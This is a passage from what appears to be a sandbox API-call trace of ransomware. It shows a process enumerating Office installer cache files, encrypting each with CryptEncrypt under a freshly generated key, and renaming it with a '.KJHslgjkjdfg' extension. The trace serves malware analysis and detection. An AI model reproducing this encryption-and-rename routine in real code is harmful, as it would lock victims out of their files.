hFile=0x124, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0157.461] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0157.461] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0157.462] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0157.462] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0157.462] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.462] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x15b5, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0x15b5, lpOverlapped=0x0) returned 1 [0157.463] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x15c0, dwBufLen=0x15c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x15c0) returned 1 [0157.463] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.463] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0x15c0, lpOverlapped=0x0) returned 1 [0157.463] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0157.463] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1694, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.463] SetEndOfFile (hFile=0x124) returned 1 [0157.466] GetProcessHeap () returned 0x990000 [0157.466] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0157.466] GetProcessHeap () returned 0x990000 [0157.466] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0157.466] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml.kjhslgjkjdfg")) returned 1 [0157.476] CloseHandle (hObject=0x124) returned 1 [0157.476] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OfficeMUISet.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0157.476] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0157.476] GetProcessHeap () returned 0x990000 [0157.476] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0157.476] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0157.476] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0157.477] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0157.477] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0157.477] GetProcessHeap () returned 0x990000 [0157.477] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0157.477] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40) returned 1 [0157.477] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0157.477] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f8*=0x40, lpOverlapped=0x0) returned 1 [0157.479] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0157.479] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0157.479] WriteFile (in: hFile=0x124, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0157.479] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0157.479] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0157.479] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0157.479] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0157.480] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.480] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xd4200, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0xd4200, lpOverlapped=0x0) returned 1 [0157.489] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0xd4200, dwBufLen=0xd4200 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0xd4200) returned 1 [0157.499] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.499] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xd4200, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0xd4200, lpOverlapped=0x0) returned 1 [0157.503] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0157.503] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xd42d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.503] SetEndOfFile (hFile=0x124) returned 1 [0157.506] GetProcessHeap () returned 0x990000 [0157.506] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0157.506] GetProcessHeap () returned 0x990000 [0157.506] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0157.506] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi.kjhslgjkjdfg")) returned 1 [0157.507] CloseHandle (hObject=0x124) returned 1 [0157.516] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OfficeMUISet.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0157.516] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0157.517] GetProcessHeap () returned 0x990000 [0157.517] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0157.518] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0157.518] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0157.518] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f8*=0xd, lpOverlapped=0x0) returned 1 [0157.520] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0157.520] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0157.520] GetProcessHeap () returned 0x990000 [0157.520] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0157.520] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40) returned 1 [0157.520] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0157.520] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f8*=0x40, lpOverlapped=0x0) returned 1 [0157.520] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0157.520] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0157.521] WriteFile (in: hFile=0x124, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0157.521] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0157.521] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0157.521] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0157.521] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0157.521] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.521] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x333, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0x333, lpOverlapped=0x0) returned 1 [0157.521] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x340, dwBufLen=0x340 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x340) returned 1 [0157.521] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.521] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0x340, lpOverlapped=0x0) returned 1 [0157.521] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0157.521] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x414, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.521] SetEndOfFile (hFile=0x124) returned 1 [0157.524] GetProcessHeap () returned 0x990000 [0157.524] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0157.524] GetProcessHeap () returned 0x990000 [0157.524] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0157.524] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml.kjhslgjkjdfg")) returned 1 [0157.528] CloseHandle (hObject=0x124) returned 1 [0157.528] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc8b16200, ftCreationTime.dwHighDateTime=0x1cac190, ftLastAccessTime.dwLowDateTime=0xc8b16200, ftLastAccessTime.dwHighDateTime=0x1cac190, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2ed80, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="osetupui.dll", cAlternateFileName="")) returned 1 [0157.528] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x77cbb000, ftCreationTime.dwHighDateTime=0x1cac57a, ftLastAccessTime.dwLowDateTime=0x77cbb000, ftLastAccessTime.dwHighDateTime=0x1cac57a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x6a3b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pss10r.chm", cAlternateFileName="")) returned 1 [0157.528] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0157.528] GetProcessHeap () returned 0x990000 [0157.528] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0157.528] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0157.529] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0157.529] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f8*=0x5, lpOverlapped=0x0) returned 1 [0157.531] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0157.531] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0157.531] GetProcessHeap () returned 0x990000 [0157.531] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0157.531] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29df4e0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29df4e0*=0x30) returned 1 [0157.531] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0157.531] WriteFile (in: hFile=0x124, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29df4f8*=0x30, lpOverlapped=0x0) returned 1 [0157.531] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0157.531] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0157.532] WriteFile (in: hFile=0x124, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0157.532] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0157.532] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0157.532] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0157.532] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0157.532] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.532] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x6a3b, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0x6a3b, lpOverlapped=0x0) returned 1 [0157.533] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x6a40, dwBufLen=0x6a40 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x6a40) returned 1 [0157.534] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.534] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x6a40, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0x6a40, lpOverlapped=0x0) returned 1 [0157.534] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0157.534] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x6b04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.534] SetEndOfFile (hFile=0x124) returned 1 [0157.537] GetProcessHeap () returned 0x990000 [0157.537] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0157.537] GetProcessHeap () returned 0x990000 [0157.537] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0157.537] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm.kjhslgjkjdfg")) returned 1 [0157.538] CloseHandle (hObject=0x124) returned 1 [0157.538] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cab9f00, ftCreationTime.dwHighDateTime=0x1cac8ad, ftLastAccessTime.dwLowDateTime=0x7cab9f00, ftLastAccessTime.dwHighDateTime=0x1cac8ad, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10676, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="setup.chm", cAlternateFileName="")) returned 1 [0157.538] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0157.538] GetProcessHeap () returned 0x990000 [0157.538] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0157.538] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0157.538] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0157.539] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f8*=0xa, lpOverlapped=0x0) returned 1 [0157.540] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0157.540] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0157.540] GetProcessHeap () returned 0x990000 [0157.540] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0157.540] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29df4e0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29df4e0*=0x30) returned 1 [0157.540] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0157.540] WriteFile (in: hFile=0x124, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29df4f8*=0x30, lpOverlapped=0x0) returned 1 [0157.540] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0157.541] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0157.541] WriteFile (in: hFile=0x124, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0157.541] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0157.541] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, 